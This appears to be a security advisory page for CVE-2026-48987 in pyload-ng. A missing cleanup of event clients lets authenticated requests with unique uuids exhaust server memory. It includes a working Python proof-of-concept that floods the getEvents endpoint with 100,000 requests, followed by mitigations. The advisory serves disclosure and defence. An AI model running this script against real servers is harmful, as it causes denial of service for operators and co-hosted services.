PT-2026-56837 · Pypi · Pyload-Ng
Publicado
2026-07-09
·
Atualizado
2026-07-09
·
CVE-2026-48987
CVSS v3.1
6.5
Média
| Vetor | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
Description:
The
EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.Vulnerable Code:
https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event manager.py#L16-L17
Here the client is added to theclientslist but never cleared the inactive clients.
Exploitation:
- Start pyLoad server (Ensure the
pyloadserver is running) - Authenticate: Obtain a session cookie or an API key (Here i used the API key).
- Send Requests: Run the below poc script to send a large number of requests to the
getEventsAPI endpoint, each with a uniqueuuid.
python
import requests
import uuid
import time
# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM REQUESTS = 100000
headers = {
"X-API-Key" : "<YOUR APIKEY>"
}
print(f"Starting DoS attack: sending {NUM REQUESTS} unique UUIDs...")
for i in range(NUM REQUESTS):
# Generating a new UUID
uid = str(uuid.uuid4())
try:
# Sending request
requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
if i % 1000 == 0:
print(f"Sent {i} requests...")
except requests.exceptions.RequestException as e:
print(f"Error at request {i}: {e}")
break
print("Attack complete. Check memory usage.")
- Monitor Memory: Monitor the memory usage of the
pyloadprocess (e.g., usingtop,psor the following commands).
bash
PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done- Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.
Impact:
- Denial of Service (DoS). The
pyloadprocess will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.
Mitigations:
- Invoke
clean(): Callself.clean()at the beginning of theget eventsmethod to purge inactive clients before processing new ones. - Rate Limiting: Implement rate limiting on the
getEventsendpoint to prevent a single client from flooding the server with unique UUIDs.
Correção
Allocation of Resources Without Limits
Resource Exhaustion
Memory Leak
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Pyload-Ng